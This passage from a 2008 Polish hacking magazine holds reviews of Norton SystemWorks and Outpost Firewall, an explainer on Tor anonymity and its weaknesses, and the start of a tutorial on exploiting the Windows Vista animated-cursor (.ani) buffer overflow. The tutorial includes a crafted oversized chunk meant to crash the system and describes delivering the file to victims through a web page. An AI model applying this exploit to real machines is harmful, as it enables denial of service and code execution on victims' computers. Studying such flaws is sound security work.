występujących w systemach z rodziny Windows,
• Speed Disk – doskonałe narzędzie, w pełni zastępują-
ce systemowy defragmentator. Regularne stosowanie
pozwala na znaczne przyspieszenie naszego kompu-
tera oraz zmniejszenie liczby operacji wykonywanych
przez głowicę dysku,
• UnErase Wizard – pozwala na odnalezienie i odzyska-
nie plików chronionych przez pakiet Norton Utilities.
Wspomniany wcześniej Norton GoBack jest narzę-
dziem służącym do szybkiego przywrócenia systemu do
wcześniejszego stanu. Pozwala to na naprawę systemu
w przypadku groźnej infekcji przez wirusa, usunięcie
szkód wyrządzonych przez niebezpieczne oprogramowa-
nie lub po prostu odzyskanie ważnych, utraconych danych.
Domyślnie w trakcie instalacji GoBack wymaga przydzie-
lenia przestrzeni równej ok. 10% pojemności dysku twar-
dego, co stanowi dość dużą wartość.
Całość pakietu jest nadzorowana przez usługę LiveUp-
date, która zapewnia uaktualnienia dla wszystkich kompo-
nentów pakietu.
Firma Symantec po raz kolejny stworzyła znakomi-
ty zestaw narzędzi zwiększających bezpieczeństwo i nie-
zawodność sytemu operacyjnego. Pakiet SystemWorks
został wydany w 3 wersjach: Basic Edition, Standard Edi-
tion oraz Premier Edition.
W wersji Standard Edition użytkownik dodatkowo
dostaje ochronę poczty elektronicznej, zabezpieczenie
przed programami typu spyware oraz ochronę plików ścią-
ganych z Internetu (usuwanie niebezpiecznych elemen-
tów). Premier Edition zezwala na tworzenie kopii zapaso-
wych ważnych plików i całych dysków (Norton Ghost).
Pakiet SystemWorks stanowi niezawodne narzędzie do
ochrony systemu operacyjnego oraz danych. Pozwala na
zwiększenie wydajności systemu. Proste i intuicyjne interfej-
sy graficzne stanowią dodatkowy atut. Produkt firmy Syman-
tec jest idealnym rozwiązaniem dla każdego użytkownika
potrzebującego kompleksowej ochrony komputera.
Radosław Matusiak
Producent: Symantec
System: Windows® XP Home/XP Pro/XP Media 2005+
Typ: Narzędzie zabezpieczające
Strona dystrybutora: http://www.softpoint.com.pl
Ocena: 5/5
Norton SystemWorksTM
Basic Edition
Rysunek 1.
Norton SystemWorks Basic Edition
13
hakin9 Nr 3/2008
Narzędzia
W dobie powszechnie występujących w sieci Internet zagro-
żeń, w celu zapewnienia akceptowalnego poziomu bezpie-
czeństwa stacji roboczej nie wystarczy już tylko posiadanie
zaktualizowanego systemu operacyjnego oraz oprogramo-
wania antywirusowego. Obecnie niezbędne jest również
posiadanie sprawdzonego oprogramowania typu personal
firewall. Jednym z najlepszych dostępnych na rynku progra-
mów jest produkt firmy Agnitum – Outpost Firewall Pro.
Za najważniejsze funkcje programu Outpost Firewall Pro
należy uznać:
• ochrona Anti-Leak – zabezpiecza przed znanymi meto-
dami obchodzenia firewalli. Metody te są często wyko-
rzystywane przez złośliwe oprogramowanie,
• ochrona antyspyware (dostępna jako wtyczka) – spraw-
dza, czy w systemie nie znajduje się oprogramowa-
nie szpiegujące (monitorowane są procesy w pamięci,
rejestr, ciasteczka, programy startowe, pliki systemowe),
• autoochrona – moduł ten jest odpowiedzialny za ochro-
nę pakietu Outpost przed działaniem złośliwego opro-
gramowania, mogącym doprowadzić do jego wyłącze-
nia bądź uszkodzenia,
• ImproveNet – baza reguł tworzona na podstawie infor-
macji zebranych anonimowo od użytkowników, którzy
wyrazili na to zgodę. Umożliwia automatyczne pobranie
reguł i ograniczenie decyzji podejmowanych przez użyt-
kownika do minimum – jest to szczególnie przydatne dla
mało doświadczonych użytkowników komputerów,
• wykrywanie ataków (dostępne jako wtyczka) – system
IDS (ang. Intrusion Detection System), zabezpiecza
przed znanymi metodami ataków,
• ochrona przed wyciekiem danych (dostępna jako wtycz-
ka) – zabezpiecza przed wysyłaniem danych, o których
program wie, że są prywatne (np. numery kart kredy-
towych). Dane, które mają być chronione, należy wcze-
śniej zdefiniować w programie,
• filtrowanie zawartości (dostępne jako wtyczka) – umoż-
liwia blokowanie dostępu do stron internetowych zawie-
rających niepożądane treści,
• mechanizm wtyczek – umożliwia używanie dodatko-
wych modułów. Outpost jest domyślnie zainstalowany
z następującymi wtyczkami: antyspyware, blokowanie
reklam, filtrowanie zawartości (także aktywnej), filtrowa-
nie załączników, pamięć DNS, wykrywanie ataków),
• kontrola komponentów – monitorowane są wszyst-
kie komponenty każdej zarejestrowanej aplikacji (pliki
EXE oraz DLL). Mechanizm ten wykorzystywany jest do
upewnienia się, że komponent aplikacji nie został pod-
mieniony przez złośliwe oprogramowanie.
Outpost Firewall Pro może pracować w pięciu trybach:
• zezwalaj na wszystko – wszystkie połączenia są dozwo-
lone, komputer nie jest chroniony,
• zezwalaj na większość – dozwolone są wszystkie połą-
czenia za wyjątkiem jawnie zadeklarowanych na firewal-
lu jako zablokowane,
• kreator reguł – program pyta użytkownika o zezwolenia
lub zablokowanie każdego nowego połączenia,
• blokuj większość – zablokowane są wszystkie połącze-
nia za wyjątkiem jawnie zadeklarowanych na firewallu
jako dopuszczone,
• blokuj wszystko - komputer jest odłączony od sieci,
wszystkie połączenia są zablokowane.
Outpost Firewall Pro może pracować w tzw. trybie cichym,
który zapewnia ochronę komputera podczas grania w gry
lub oglądania filmów bez wyświetlania komunikatów.
Jedną z największych zalet programu Outpost Fire-
wall Pro jest możliwość bardzo szczegółowego definiowa-
nia reguł dostępu programów do Internetu. Za duży plus pro-
gramu można też uznać bardzo przejrzysty i gromadzący
dużo informacji dziennik zdarzeń, dzięki któremu jesteśmy
w stanie prześledzić zachowanie naszego komputera
w sieci. Z programem otrzymujemy obszerną dokumentację
w języku polskim (110 stron) w postaci pliku PDF oraz roz-
budowaną pomoc, także w języku polskim, dostępną bezpo-
średnio z programu. Instalacja oraz konfiguracja programu
jest bezproblemowa. Ilość zasobów komputera wykorzysty-
wanych przez program w porównaniu do produktów konku-
rencji jest dużo mniejsza.
Opisywany produkt jest jednym z najlepszych tego typu
programów dostępnych na rynku. Jego obsługa jest intuicyj-
na, dla początkujących użytkowników dostępny jest szereg
mechanizmów ułatwiających konfigurację oraz ograni-
czających konieczność podejmowania przez niego decy-
zji. Z kolei zaawansowanym użytkownikom produkt oferuje
bardzo duże możliwości konfiguracyjne oraz w dużym stop-
niu umożliwia dostosowanie działania programu do specy-
ficznych wymagań. W mojej opinii jest to obecnie najlepszy
program typu personal firewall dla systemów Windows.
Radosław Rydel
Outpost Firewall Pro 4.0
Producent: Agnitum Ltd.
System: Windows 98, Windows ME, Windows 2000, Windows XP
Typ: Personal firewall
Strona producenta: http://www.agnitum.com, http://www.outpost.pl, http://www.dagma.pl
Ocena: 5/5
www.hakin9.org
hakin9 Nr 3/2008
14
Początki
T
ak czy inaczej zacząć warto od paru
podstawowych kwestii. Przede wszyst-
kim, co rozumiemy pod pojęciem anoni-
mowości? Odpowiedniej definicji nie ma nieste-
ty w normach poświęconych bezpieczeństwu
informacji (choć czujemy, że poczucie bycia
anonimowym jakoś zwiększa nasze poczucie
bezpieczeństwa, czasami aż za bardzo). Zazwy-
czaj mówi się, że anonimowość (ang. anonymity)
to cecha uniemożliwiająca identyfikację podmio-
tu – tożsamości osoby lub systemu – oraz unie-
możliwiająca przypisanie kilku różnych działań te-
mu samemu podmiotowi. W tym sensie byłaby
więc anonimowość zaprzeczeniem znanej (choć-
by z normy ISO/IEC 17799) cechy rozliczalno-
ści. Czasami wyróżnia się pojęcie pseudonymity,
które oznacza, że jakkolwiek niemożliwe jest okre-
ślenie tożsamości działającego, można przy-
porządkować różne działania tej samej osobie.
Na przykład możemy otrzymać dwa niepodpisa-
ne listy, z których treści wnosimy, że były wysłane
przez tego samego – jednak wciąż nam nieznane-
go – nadawcę.
Oczywiście nasze działania w Internecie nie
są anonimowe. Wszyscy – począwszy od admi-
nistratora pierwszego routera łączącego nas z sie-
cią, a skończywszy na administratorze serwera
WWW, którego strony przeglądamy – są w stanie
odczytać adres IP, spod którego następuje połą-
czenie, spora część protokołów sieciowych wyko-
rzystuje informacje przesyłane otwartym tekstem,
zaś przeglądarki internetowe informują szeroko
odwiedzane serwery nie tylko o tym, z jakiej wer-
sji (także językowej) systemu operacyjnego wła-
śnie korzystamy, ale również na przykład o tym,
z jakiej strony trafiliśmy na bieżący serwer. Oczy-
wiście również administrator DNSa, z którego
usług korzystamy, może bez trudu dowiedzieć się,
jakie adresy były nam potrzebne (o ile oczywiście
nie posługujemy się stale czystymi, numeryczny-
mi adresami IP).
Ponieważ anonimowość jest albo pełna, albo
w ogóle jej nie ma, musimy zadbać o ukrycie infor-
macji zarówno na poziomie sieci lokalnej, jak i od-
Routing cebulowy
Maciej Szmit
stopień trudności
Anonimowość, czy raczej anonimizacja, jest jednym
z najprostszych sposobów zapewnienia sobie dozy prywatności.
Co więcej – sama anonimizacja jest w Polsce działaniem w pełni
zgodnym z prawem – choć tak się składa, że szczególną dbałość
o swoją anonimowość wykazują osoby, które z prawem mają
stosunkowo mało wspólnego.
Z artykułu dowiesz się
• jak anonimowo surfować po Internecie i kiedy ta
anonimowość jest zagrożona.
Co powinieneś wiedzieć
• co to jest model DoD i ISO/OSI.
Routing cebulowy
hakin9 Nr 3/2008
www.hakin9.org
15
wiedzanych serwerów (a także wszyst-
kich pośredników). Oczywiście, w sie-
ci lokalnej nie uda się nam udawać
na przykład braku aktywności (coś tam
wysyłamy i ściągamy, jakkolwiek może-
my ukryć, co to mianowicie jest), nato-
miast na odwiedzanych serwerach nie
ukryjemy, co zostało pobrane (ale mo-
żemy nie powiedzieć, przez kogo).
Zapewnienie sobie anonimowości
powinno zatem polegać na przynajm-
niej trzech rzeczach:
• przekonaniu naszego lokalne-
go systemu (w tym: przeglądar-
ki WWW, programu pocztowego,
czytnika grup news itd., a także
systemu operacyjnego), żeby nie
zdradzał zbyt wielu informacji o so-
bie.
• wykorzystaniu połączeń szyfrowa-
nych w celu uniemożliwienia sku-
tecznego podsłuchu.
• wykorzystaniu anonimowego po-
średnika (ang. anonymous pro-
xy), albo – jeszcze lepiej – syste-
mu anonimowych pośredników dla
ukrycia naszego adresu IP.
Na szczęście współczesne metody
szyfrowania umożliwiają nam zesta-
wienie bezpiecznego, tj. zaszyfrowa-
nego, połączenia pomiędzy naszą ma-
szyną (klientem) a pośrednikiem sie-
ciowym. Pytanie tylko, skąd wziąć za-
ufanego pośrednika, co do którego bę-
dziemy mieli pewność, że sam nas nie
podgląda? I tu właśnie z pomocą przy-
chodzi nam TOR.
Pora na TORa
TOR (ang. The Onion Router) jest ze-
społem pośredników służących do tzw.
trasowania cebulowego, które umożli-
wia użytkownikom anonimowy dostęp
do zasobów Internetu. TOR pozwa-
la również na przeglądanie stron blo-
kowanych przez lokalną cenzurę i do-
stawców sieci przy pomocy tzw. ukry-
tych usług, które pozwalają na udo-
stępnianie usług (np. stron WWW) bez
potrzeby ujawniania fizycznej lokaliza-
cji serwera.
Klient podczas łączenia się z sie-
cią TOR pobiera listę węzłów od ser-
Tabela 1.
Co i gdzie komu ujawniamy
Warstwa modelu DoD
Co ujawniamy
Jak i komu
Procesów/Aplikacji
Adresy odwiedzanych hostów
Serwerowi DNS, który rozwiązuje
zapytania, wszystkim routerom po-
między nami a DNSem
Szczegóły ustawień przeglądarki
WWW (w tym wersja systemu ope-
racyjnego, adres odwiedzanej ostat-
nio strony, wersja językowa użytkow-
nika)
Serwerowi WWW, który odwiedza-
my, wszystkim routerom pomiędzy
nami a tym serwerem
Adres pocztowy, hasła dostępowe
w protokołach nieszyfrowanych (np
POP3, FTP, telnet)
Serwerom, z których usług korzysta-
my, wszystkim routerom pomiędzy
nami a tymi serwerami
host to host/Transportowa
Internetu
Adres IP
Wszystkim, z którymi się łączymy,
wszystkim routerom pomiędzy na-
mi a serwerem, z którego usług ko-
rzystamy
Dostępu do sieci
Adres MAC
Wszystkim w sieci lokalnej, w szcze-
gólności routerowi znajdującemu się
pomiędzy siecią lokalną a Internetem
Rysunek 1.
Ruch sieciowy przechwycony podczas przęglądania programem
Mozilla
hakin9 Nr 3/2008
www.hakin9.org
Początki
16
wera katalogowego, a następnie bu-
duje sieć pośredników, której struktu-
ra jest dodatkowo dynamicznie przebu-
dowywana co kilka minut. W ten spo-
sób wysyłane informacje, zanim dojdą
do celu, przechodzą przez kolejne war-
stwy cebuli – serwery pośredniczące,
na których przepakowywane są w pa-
kiety, opatrywane nowymi adresami
pochodzenia i dodatkowo szyfrowane.
Sieć pośredników zbudowana jest tak,
że każdy z przekaźników po drodze
zna tylko przekaźnik, z którego otrzy-
mał dane i przekaźnik, któremu dane
wysyła (dla każdego skoku w obwodzie
używana jest osobna para kluczy, ża-
den z węzłów połączenia nie jest w sta-
nie odtworzyć trasy pakietu). Co więcej,
wstawienie w którejś z warstw wrogie-
go (podsłuchującego) węzła nie umoż-
liwi zazwyczaj identyfikacji użytkowni-
ka (chyba, że będzie to akurat pierw-
szy węzeł, połączony bezpośrednio
z pechowym użytkownikiem).
TOR ma oczywiście swoje ograni-
czenia. Przede wszystkim szyfrowana
jest komunikacja TCP, natomiast nie
jest to możliwe dla ruchu UDP. Jak się
można spodziewać, po UDP zazwy-
czaj przesyłane są komunikaty DNS
(choć można to zmienić), więc cała
anonimowość staje pod znakiem za-
pytania – przynajmniej, dopóki nie uży-
jemy dodatkowego oprogramowania,
na przykład narzędzia Privoxy, które
zresztą wchodzi w skład pakietu dys-
trybucyjnego TORa. Po wtóre – z oczy-
wistych względów – szyfrowanie nie
dotyczy komunikacji pomiędzy ostat-
nim z pośredników (zwanym węzłem
wyjściowym TORa) a serwerem, z któ-
rego usług chcemy skorzystać. Zwykły
serwer bowiem dostarcza usługi wy-
łącznie w postaci jawnej (nieszyfrowa-
nej), nie mając pojęcia, czy zgłosił się
do niego węzeł wyjściowy TORa, czy
zwykły użytkownik. Nieco inaczej wy-
gląda to w przypadku serwerów usług
ukrytych, które dostępne są w sieci
TOR i szyfrują swoją komunikację od
początku do końca.
Sytuacja taka powoduje, że nie
możemy mówić o zapewnieniu pełnej
anonimowości. Odpowiednie insty-
tucje mogą monitorować aktywność
całej sieci, w tym serwera, a także
ruch wychodzący z podejrzanych wę-
złów TORa i próbować skorelować go
ze sobą (tzw. atak end-to-end timing).
Wielki Brat musi być w tym wypadku
rzeczywiście całkiem spory, najlepiej
bowiem byłoby, żeby mógł monitoro-
wać ruch w całej sieci (albo na przy-
kład w całym państwie). Co więcej
– wrogi węzeł wyjściowy może skie-
rować komunikację do niewłaściwe-
go (podstawionego) serwera. Oczy-
wiście, ponieważ – jak już wspomnia-
no – trasa jest dobierana według spe-
cjalnego algorytmu i okresowo zmie-
niana, zaś lista węzłów pobierana jest
z serwera katalogowego, prawdopo-
dobieństwo takiego zdarzenia jest
stosunkowo niewielkie – należy jed-
nak zachować ostrożność. Na szczę-
ście TOR umożliwia również ręczne
skonfigurowanie węzła wyjściowego.
Co to jest pośrednik (proxy)
Pośrednik (ang. proxy) jest to urządzenie działające w IV i wyższych warstwach mode-
lu referencyjnego ISO/OSI. To, co odróżnia proxy od routera, to fakt, że proxy ustanawia
osobne połączenie (obwód wirtualny TCP) w imieniu swojego klienta, zaś router – jedynie
trasuje datagramy IP przekładając je w ramki zaadresowane do kolejnego routera. W ten
sposób odbiorca pakietów będzie oczywiście widział adres komputera klienckiego, a nie
żadnego z routerów po drodze. W przypadku pośrednika – na serwerze zostanie zauwa-
żony adres tego ostatniego, bowiem to on nawiązuje połączenie. W przypadku routera z
funkcją sNAT (podmieniającego źródłowy adres IP w pakietach wychodzących z sieci na
własny), na serwerze będzie widoczny adres publicznego interfejsu NATa.
W Sieci
• http://www.torproject.org,
• http://www.torrify.com,
• http://www.showmyip.com/torstatus/.
Rysunek 2.
Ruch sieciowy
Torpachem
Rysunek 3.
Różnice między routerem a pośrednikiem
������
�����
��������������
�����������
���������
���������
��������
����������
����������
��������������
����������������
Routing cebulowy
hakin9 Nr 3/2008
www.hakin9.org
17
TOR dla opornych
Najprostszą metodą skorzystania z TO-
Ra jest zainstalowanie opartej na Mozilli
aplikacji XeroBank Browser (wcześniej-
sza nazwa Torpark), dostępnej pod ad-
resem http://www.torrify.com. Przeglą-
darka ta ma wbudowanego klienta sieci
TOR, którego wykorzystuje do łączenia
się z odwiedzanymi stronami WWW.
Co istotne, program ten anonimizuje
również ruch DNS, dzięki czemu pod-
słuchujący widzi jedynie czysty stru-
mień TCP skierowany od naszej ma-
szyny do wejściowego węzła TORa.
Temat deanonimizacji TORa po-
wraca regularnie przy różnych oka-
zjach. Na szczęście TOR jest pomy-
ślany i zrealizowany dość porządnie,
a poruszające wieści okazują się czę-
sto niewypałami. No, może nie tyle nie-
wypałami, co hakowaniem ludzi za-
miast technologii. Dla przykładu: wy-
starczy uruchomić kilka wrogich wę-
złów TORa z logowaniem ruchu sie-
ciowego, żeby po odpowiednim cza-
sie zdobyć hasła użytkowników, którzy
uwierzyli, że transmisja haseł SMTP
czy FTP staje się po użyciu TORa bez-
pieczna. Z uwagi na sposób działania
algorytmu wyboru ścieżki TORa, wro-
gi węzeł stanie się wcześniej czy póź-
niej dla kogoś węzłem końcowym,
a – jak pamiętamy – ruch od końcowe-
go węzła do serwera nie jest szyfrowa-
ny. Choć wydaje się to dziwne, meto-
da ta rzeczywiście działa – w 2007 ro-
ku pewien szwedzki dziennikarz opubli-
kował listę haseł 100 VIPów korzystają-
cych w ten sposób z TORa. Innym spo-
sobem, wymyślonym przez H.D. Mo-
ore’a (tego od Metasploita), jest wy-
korzystanie rozlicznych pluginów, od
których roi się w przeglądarkach: mo-
że da się jakoś przekonać oprogramo-
wanie obsługujące JavaScript czy Fla-
sha, żeby jednak podało prawdziwe IP
przeglądarki? Oczywiście, jeśli zale-
ży nam na anonimowości, to można
(trzeba!) te wszystkie dodatki powy-
łączać. Istnieją też serwisy, w których
można sprawdzić, co nasza przeglą-
darka pokazuje na zewnątrz – również
w odniesieniu do obsługi skryptów. Na
przykład możemy to uczynić na stronie
http://www.showmyip.com/torstatus.
Jeśli chcemy zanonimizować coś
więcej niż tylko przeglądarkę, powin-
niśmy sięgnąć po wersję instalacyjną
TORa. W skład pakietu instalacyjnego
TORa dla Windows wchodzi (oprócz
klienta sieci TOR) wspomniane już
Privoxy (serwer proxy odpowiadający,
oprócz wspomnianej wcześniej ano-
nimizacji żądań DNS, za obsługę co-
okies, filtrowanie treści i bannerów na
stronach WWW), Vidalia (odpowiada-
jąca za konfigurację poszczególnych
komponentów i dodatkowo chronią-
ca komputer) oraz Torbutton – doda-
tek do Mozilli umożliwiający łatwe włą-
czanie i wyłączanie TORa. Wszystko
razem możemy ściągnąć (oczywiście
bezpłatnie) ze stron projektu TOR:
http://www.torproject.org. W tym sa-
mym miejscu możemy znaleźć do-
kładne informacje o sposobie instalacji
pakietu (po polsku i w paru innych ję-
zykach). W zasadzie (jeśli nie zamie-
rzamy sami zostawać węzłem cebu-
li) wszystko sprowadza się do użycia
zupełnie oczywistego kreatora. Jedy-
nym drobiazgiem jest to, że po zakoń-
czeniu instalacji i uruchomieniu TO-
Ra, Vidalii i Privoxy musimy skonfigu-
rować aplikacje sieciowe, aby korzy-
stały z pośrednika (czyli właśnie pro-
gramu Privoxy). Na przykład w Mozilli
(o ile nie zainstalowaliśmy aplika-
cji TORbutton) musimy wybrać z me-
nu odpowiednio opcje: Narzędzia –>
Opcje –> Zaawansowane –> Sieć –>
Ustawienia –> Ręczna konfiguracja
serwerów proxy i w edytorze Serwer
proxy HTTP podać adres 127.0.0.1
i port 8118. Bez tego ruch sieciowy ge-
nerowany przez nas nie będzie oczy-
wiście przechodził przez TORa, pozo-
stanie więc niezaszyfrowany i nie ano-
nimizowany.
Na koniec warto wspomnieć o pod-
stawowym mankamencie TORa: spo-
walnianiu łączności. Oczywiście sto-
pień spowolnienia zależy od tego, ja-
kie węzły będą pośredniczyły w na-
szej komunikacji, niemniej wrażenie
bywa przytłaczające – zwłaszcza, je-
śli dysponujemy porządnym łączem
internetowym. Dla przykładu, w cza-
sie pisania tego artykułu zmierzyłem
prędkość pobierania za pomocą ser-
wisu www.numion.org dla połącze-
nia nieanonimizowanego i anonimi-
zowanego. Wynosiła ona odpowied-
nio około 30 Mbps (sieć akademic-
ka – Fast Ethernet do sieci kampu-
sowej i dalej światłowód do NASKu)
oraz w okolicach 50 kbps. Przy mniej-
szych szerokościach pasma różnice
nie są aż tak drastyczne, niemniej ce-
ną za prywatność jest w tym wypad-
ku pogorszenie komfortu pracy. Ale
w informatyce jak w życiu (a może na-
wet bardziej) – nic za darmo.
Podsumowanie
TOR jest interesującym (i dość sku-
tecznym) sposobem zapewniania pry-
watności poprzez anonimizację swo-
ich działań w Sieci. Jego najsłabszy-
mi punktami są niewątpliwie: znacz-
ne spowolnienie prędkości transmisji
danych oraz konieczność dokładnego
skonfigurowania wszystkich elemen-
tów systemu, które mogłyby zdradzić
tożsamość użytkownika. Na pytanie,
czy konieczność myślenia jest poważ-
nym problemem, każdy musi odpowie-
dzieć sobie sam. l
O autorze
Maciej Szmit jest adiunktem w Kate-
drze Informatyki Stosowanej
Politechniki Łódzkiej.
Kontakt z autorem:
maciej.szmit@gmail.com
Rysunek 4.
Zasady działania sieci TOR
������
���������������������
������������������������
������
���������
���������
���������
�����
�������������
www.hakin9.org
hakin9 Nr 3/2008
18
Atak
W
styczniu 2007 roku koncern z
Redmond zaprezentował użyt-
kownikom swój nowy produkt
– system operacyjny Windows NT 6.0, zwany
Vistą. Według twórców cechował się on ład-
niejszą oprawą graficzną, większą wygodą ob-
sługi, a przede wszystkim – znacznie polepszo-
nym bezpieczeństwem. W tym celu zmieniono
kilka istotnych elementów systemu, rozprowa-
dzano wraz z systemem przeglądarkę Inter-
net Explorer 7 oraz oprogramowanie Windows
Defender. Wprowadzono też szereg ułatwień
mających poprawić komfort pracy na koncie
z ograniczonymi prawami. Jednak nawet mimo
podjętego wysiłku nie uchroniono systemu od
błędów. Jednym z nich jest opisywana podat-
ność – przepełnienie bufora związane z animo-
wanym kursorem.
ANI i RIFF, czyli co czym się je
Wszystkie animowane kursory znajdują się
w plikach o rozszerzeniu .ani, np. dinozaur.ani.
Format .ani jest odmianą formatu RIFF firmy
Microsoft. RIFF (ang. Resource Interchange
File Format – format wymiany informacji o za-
sobach) określa sposób zapisywania danych
do pliku. Informacje są rozdzielone od siebie
odpowiednimi elementami, zwanymi tagami
(można je porównać do znaczników w języ-
ku HTML). Dodatkowo elementy są podzie-
lone na kawałki (ang. chunks), z których każ-
dy zawiera jakąś porcję danych. Przyjrzyjmy
się nieco bliżej strukturze związanej z plikiem
o rozszerzeniu .ani. Jest ona przedstawiona
na Listingu 1.
Struktura
ANIHeader
, jak sama nazwa
wskazuje, jest nagłówkiem, który opisuje da-
ną porcję informacji (czyli
ANIChunk
). Zawiera
podstawowe informacje niezbędne dla takiego
Hakowanie Visty
Konrad Zuwała
stopień trudności
Windows Vista był przez firmę Microsoft zapowiadany, jako
całkowita rewolucja w bezpieczeństwie systemów operacyjnych.
Jednak czas pokazał, że jest to tylko iluzja, a w Viście znajdowane
są kolejne błędy. Czy Vista rzeczywiście jest tak bezpieczna, jak
zapewnia jej producent?
Z artykułu dowiesz się
• w jaki sposób wykorzystać poważny błąd Win-
dows Vista tak, aby wykonać własny kod,
• w jaki sposób przeprowadzić atak DoS na plat-
formie Vista.
Co powinieneś wiedzieć
• umieć programować w C,
• znać podstawy WinAPI,
• umieć korzystać z narzędzi debugujących,
• znać podstawy asemblera.
Hakowanie Visty
hakin9 Nr 3/2008
www.hakin9.org
19
pliku. Bardziej interesującą jest do-
celowa porcja danych, czyli struktu-
ra
ANIChunk
. Zawiera ona 3 zmienne,
z których nas interesują w zasadzie
dwie:
tag
i
data
. Rozmiar danych za-
pisywanych do struktury
ANIHeader
nie może być większy niż 36 bajtów,
w przeciwnym wypadku będzie-
my mieli do czynienia z przepełnie-
niem bufora, które pozwoli nam wy-
konać dowolny shellcode na kom-
puterze ofiary. Zatem spreparowa-
na struktura musi mieć więcej baj-
tów niż przewiduje specyfikacja, na-
tomiast tablica
data
musi zawierać
offset (ciąg instrukcji o pewnej okre-
ślonej długości, które nic nie robią),
a następnie shellcode, który zosta-
nie wykonany przez Eksploratora
Windows. Ten, aby odczytać dany
plik z animacją, ikoną lub inną por-
cją danych multimedialnych (czyli
zapisanych w formacie RIFF bądź
ANI), otworzy nasz plik, a następ-
nie za pomocą odpowiednich funkcji
WinAPI zacznie obrabiać jego za-
wartość. To umożliwi nam wykona-
nie kodu exploita. Najpierw jednak
musimy poznać funkcję Windows,
która jest za to odpowiedzialna.
Przepełnienie
bufora funkcji
Kod funkcji zaprezentowany jest na
Listingu 2. Najpierw odczytywany
jest tag, a następnie – w zależno-
ści jego zawartości dokonywane są
odpowiednie operacje. W przypad-
ku, gdy tag to
anih
(skrót od .ani he-
ader), następuje odczytanie chun-
ku, czyli docelowej porcji danych
– w której to zostanie umieszczony
nasz shellcode. Jedyne, co musimy
jeszcze zrobić, to wyznaczyć wiel-
kość tzw. offsetu, czyli przesunię-
cia w stosunku do nadpisywanego
adresu powrotu z bieżącej funkcji.
Przepełnienie bufora w tym
przypadku zaowocuje wykona-
niem naszego kodu przez Eks-
ploratora Windows. A ściślej mó-
wiąc – kod zostanie wykonany
w kontekście Eksploratora, po-
przez podłączenie się do tego
procesu. Wadą takiego rozwiąza-
nia jest to, iż Eskplorator Windows
działa w kontekście użytkownika,
który go aktualnie uruchomił. Gdy
jest to użytkownik z ograniczenia-
mi, wtedy, mając tak ograniczone
prawa dostępu, nie możemy zrobić
praktycznie nic ciekawego. Jednak
niedobrą praktyką wśród użytkow-
ników systemu Windows stało się
stałe korzystanie z konta admini-
stracyjnego, co wydatnie obniża
bezpieczeństwo systemu opera-
cyjnego.
Aby Eksplorator Windows wy-
konał nasz kod, jedyne, co musi-
my zrobić to po prostu umieścić
odpowiednio spreparowaną ikon-
kę (czyli nasz plik z rozszerzeniem
.ani) na stronie internetowej bądź
w folderze na atakowanym kompu-
terze – tak, aby ofiara odwiedzi-
ła tę lokalizację i otworzyła spre-
parowany plik. Naturalnym wydaje
się więc umieszczenie danego pli-
ku (a raczej grupy plików – o tym
za chwilę) na stronie internetowej
i czekanie, aż nasza ofiara odczy-
ta zawartość fałszywego pliku.
Listing 1.
Struktury związane z formatem pliku .ani
struct
ANIChunk
{
char
tag
[
4
];
//
tag
ASCII
DWORD
size
;
//
rozmiar
danych
w
bajtach
char
data
[
size
];
//
dane
}
struct
ANIHeader
{
DWORD
rozmiar
//
ilo
ść
bajt
ó
w
w
nag
łó
wku
(
36
bajt
ó
w
)
DWORD
rIkony
;
//
ilo
ść
unikatowych
ikon
DWORD
kroki
;
//
ilo
ść
operacji
bitowych
,
nim
zacznie
si
ę
animacja
DWORD
x
,
y
;
//
zarezerwowane
,
musz
ą
by
ć
ustawione
na
zero
DWORD
lbit
,
lcnt
;
//
jak
wy
ż
ej
DWORD
licznikSzybkosc
;
//
licznik
,
1
/
60
sekundy
,
je
ś
li
nie
ustawiono
inaczej
DWORD
flagi
;
//
flagi
animacji
}
Listing 2.
Funkcja LoadAniIcon
int
LoadAniIcon
(
struct
MappedFile
*
file
, ...
)
{
struct
ANIChunk
chunk
;
struct
ANIHeader
header
;
//
36
-
bajtowa
struktura
...
while
(
1
)
{
//
czytaj
pierwsze
8
bajt
ó
w
ReadTag
(
file
,
&
chunk
);
switch
(
chunk
.
tag
)
{
case
'
seq
'
:
...
case
'
LIST
'
:
...
case
'
rate
'
:
...
case
'
anih
'
:
ReadChunk
(
file
,
&
chunk
,
&
header
);
Listing 3.
Spreparowana struktura ANIChunk – wstęp do zawieszenia
systemu Windows
struct
ANIChunk
{
char
tag
[
4
]=
”
anih
”
;
DWORD
size
=
250
;
char
data
[
size
]=
”
AAAA
.....
AAA
”
;
//
250
razy
litera
A
}
ani
;
hakin9 Nr 3/2008
www.hakin9.org
Atak
20
Demonstracja exploita
– zawieszenie systemu
Zanim zajmiemy się dopracowywa-
niem exploita, najpierw musimy po-
kazać jego działanie, które sprowa-
dzi się do dość prymitywnego za-
wieszenia systemu. Jak należy to
zrobić? Otóż wystarczy spreparo-
wać odpowiednio wielką strukturę
– tak, aby naruszyć ochronę pamięci
w systemie. Definicję takiej struktury
przedstawia Listing 3.
Strukturę o pokazanej na listin-
gu postaci zapisujemy do pliku .ani,
który otwieramy, a następnie cieszy-
my się brakiem stabilności systemu.
Z czystej ciekawości można obej-
rzeć plik w edytorze heksadecymal-
nym – wygląda tak, jak jest to poka-
zane na Listingu 4.
Widać, że początkowa zawar-
tość obejmuje informacje dotyczą-
ce typu pliku, dalej znajduje się tag,
którego użyliśmy, aby możliwe było
przepełnienie bufora. Potem nastę-
puje ciąg 250 liter A (naturalnie, na
listingu z oczywistych powodów nie
ma wszystkich liter). Całość otwar-
ta w Eksploratorze Windows powin-
na zawiesić system.
Offset, problem z ASLR
Windows Vista jest systemem, któ-
ry firma Microsoft reklamuje ja-
ko niezwykle bezpieczny. W dużej
mierze nie są to puste słowa. Aby
znacząco zwiększyć bezpieczeń-
stwo systemu Windows, wprowa-
dzono ASLR. ASLR (ang. Address
Space Layout Randomization, co
można tłumaczyć na losowy roz-
kład przestrzeni adresowej) jest
techniką, która – jak sama nazwa
wskazuje – polega na wprowadze-
niu pewnego elementu losowo-
ści do adresów w pamięci biblio-
tek oraz funkcji, z których korzy-
sta program. Co to dla nas ozna-
cza? Otóż różne systemy Win-
dows Vista będą miały odpowied-
nie komponenty pod różnymi adre-
sami w pamięci. Kontynuując, nie
pozwoli nam to na ustalenie jedne-
go, stałego offsetu pomiędzy adre-
sem powrotu funkcji a adresem ta-
blicy, w której się aktualnie znajdu-
jemy. Jednak tak naprawdę nie jest
to szczególna przeszkoda – jak by
się mogło wydawać.
Pierwszym krokiem, jaki musi-
my przedsięwziąć, jest analiza pli-
ku pod debuggerem. Wybór odpo-
